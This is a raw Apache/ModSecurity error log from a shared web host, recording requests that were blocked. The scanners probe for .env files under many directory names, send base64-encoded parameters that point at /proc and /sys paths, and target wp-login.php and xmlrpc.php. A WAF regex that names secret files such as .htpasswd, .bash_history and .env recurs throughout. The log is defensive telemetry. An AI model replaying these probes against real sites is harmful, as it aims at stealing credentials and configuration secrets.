https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvaWQ= [Sat Jun 13 18:17:37.595405 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvaWQ= [Sat Jun 13 18:17:37.596223 2026] [security2:error] [pid 648189:tid 648443] [client 185.177.72.9:41850] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/kolab-syncroton/.env"] [unique_id "ai3zIVWSojQL4F7upKBnCgAAAN0"] [Sat Jun 13 18:17:37.601837 2026] [security2:error] [pid 646876:tid 647036] [client 34.23.213.224:55530] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zIdyTkdrNlD40tSGvuQAAABw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:37.734197 2026] [security2:error] [pid 648189:tid 648466] [client 185.177.72.9:41850] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Kubernetes/.env"] [unique_id "ai3zIVWSojQL4F7upKBnDwAAAPA"] [Sat Jun 13 18:17:37.763464 2026] [security2:error] [pid 648189:tid 648450] [client 34.23.213.224:55544] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zIVWSojQL4F7upKBnEAAAAOQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:37.831490 2026] [security2:error] [pid 648189:tid 648232] [remote 17.246.19.112:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 112.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zIVWSojQL4F7upKBnEwAAnww"] [Sat Jun 13 18:17:37.862080 2026] [access_compat:error] [pid 646876:tid 646975] [remote 57.141.14.94:21094] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:37.862340 2026] [access_compat:error] [pid 646876:tid 646975] [remote 57.141.14.94:21094] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:37.870496 2026] [security2:error] [pid 648189:tid 648387] [client 185.177.72.9:41850] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/l.php"] [unique_id "ai3zIVWSojQL4F7upKBnFAAAAKc"] [Sat Jun 13 18:17:37.927186 2026] [security2:error] [pid 646876:tid 647020] [client 34.23.213.224:55560] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zIdyTkdrNlD40tSGvwQAAAAw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:37.999326 2026] [security2:error] [pid 648189:tid 648412] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/DateTime_format_variation1.phpt"] [unique_id "ai3zIVWSojQL4F7upKBnGAAAAL8"] [Sat Jun 13 18:17:38.092114 2026] [security2:error] [pid 648189:tid 648464] [client 34.23.213.224:51264] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zIlWSojQL4F7upKBnHQAAAO4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:38.132507 2026] [security2:error] [pid 648189:tid 648382] [client 185.177.72.9:41864] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/lab/.env"] [unique_id "ai3zIlWSojQL4F7upKBnIAAAAKI"] [Sat Jun 13 18:17:38.165175 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:17:38.165638 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:17:38.252477 2026] [security2:error] [pid 648189:tid 648480] [client 34.23.213.224:51268] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zIlWSojQL4F7upKBnJQAAAP4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:38.264526 2026] [security2:error] [pid 648189:tid 648445] [client 185.177.72.9:41864] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/lambda/.env"] [unique_id "ai3zIlWSojQL4F7upKBnJgAAAN8"] [Sat Jun 13 18:17:38.397495 2026] [security2:error] [pid 648189:tid 648401] [client 185.177.72.9:41864] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/latest/.env"] [unique_id "ai3zIlWSojQL4F7upKBnLAAAALU"] [Sat Jun 13 18:17:38.415164 2026] [security2:error] [pid 648189:tid 648384] [client 34.23.213.224:51282] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zIlWSojQL4F7upKBnLQAAAKQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:38.419134 2026] [access_compat:error] [pid 646876:tid 646997] [remote 57.141.14.89:44038] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:38.419387 2026] [access_compat:error] [pid 646876:tid 646997] [remote 57.141.14.89:44038] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:38.466433 2026] [access_compat:error] [pid 648189:tid 648276] [remote 57.141.14.56:36396] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:38.466872 2026] [access_compat:error] [pid 648189:tid 648276] [remote 57.141.14.56:36396] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:38.476547 2026] [security2:error] [pid 646876:tid 646955] [remote 17.22.237.93:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 93.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zItyTkdrNlD40tSGv0QAAOEw"] [Sat Jun 13 18:17:38.529250 2026] [security2:error] [pid 648189:tid 648390] [client 185.177.72.9:41864] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/layout/.env"] [unique_id "ai3zIlWSojQL4F7upKBnMAAAAKo"] [Sat Jun 13 18:17:38.552384 2026] [access_compat:error] [pid 646876:tid 646935] [remote 216.73.216.223:30900] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:38.552798 2026] [access_compat:error] [pid 646876:tid 646935] [remote 216.73.216.223:30900] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:38.576190 2026] [security2:error] [pid 646876:tid 647091] [client 34.23.213.224:51288] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zItyTkdrNlD40tSGv2AAAAFM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:38.607634 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.242.16:45548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:17:38.607926 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.242.16:45548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:17:38.655436 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:17:38.655735 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:17:38.660171 2026] [security2:error] [pid 648189:tid 648389] [client 185.177.72.9:41864] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/lcomernbootcamp/projbackend/.env"] [unique_id "ai3zIlWSojQL4F7upKBnMQAAAKk"] [Sat Jun 13 18:17:38.735233 2026] [security2:error] [pid 646876:tid 647071] [client 34.23.213.224:51304] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zItyTkdrNlD40tSGv3gAAAD8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:38.792463 2026] [security2:error] [pid 648189:tid 648417] [client 185.177.72.9:41864] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/leafer-app/.env"] [unique_id "ai3zIlWSojQL4F7upKBnNAAAAMQ"] [Sat Jun 13 18:17:38.888351 2026] [security2:error] [pid 646876:tid 646962] [remote 17.246.19.158:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 158.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zItyTkdrNlD40tSGv4QAAeFM"] [Sat Jun 13 18:17:38.897263 2026] [security2:error] [pid 648189:tid 648368] [client 34.23.213.224:51308] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zIlWSojQL4F7upKBnOQAAAJQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:38.929013 2026] [security2:error] [pid 648189:tid 648414] [client 185.177.72.9:41864] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ledger_sync/.env"] [unique_id "ai3zIlWSojQL4F7upKBnPAAAAME"] [Sat Jun 13 18:17:39.058563 2026] [security2:error] [pid 648189:tid 648408] [client 34.23.213.224:51314] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zI1WSojQL4F7upKBnRQAAALs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:39.074729 2026] [access_compat:error] [pid 648189:tid 648269] [remote 57.141.14.27:32214] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:39.075164 2026] [access_compat:error] [pid 648189:tid 648269] [remote 57.141.14.27:32214] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:39.160821 2026] [access_compat:error] [pid 646876:tid 646998] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2Uvc3Vic3lzdGVt [Sat Jun 13 18:17:39.161184 2026] [access_compat:error] [pid 646876:tid 646998] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2Uvc3Vic3lzdGVt [Sat Jun 13 18:17:39.183077 2026] [security2:error] [pid 646876:tid 647012] [client 172.56.168.133:14633] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zI9yTkdrNlD40tSGv5gAAAAQ"] [Sat Jun 13 18:17:39.183199 2026] [security2:error] [pid 646876:tid 647012] [client 172.56.168.133:14633] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zI9yTkdrNlD40tSGv5gAAAAQ"] [Sat Jun 13 18:17:39.219684 2026] [security2:error] [pid 648189:tid 648434] [client 34.23.213.224:51324] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zI1WSojQL4F7upKBnTQAAANU"], referer: https://www.nels.pikarthouse.com/wp-login.php 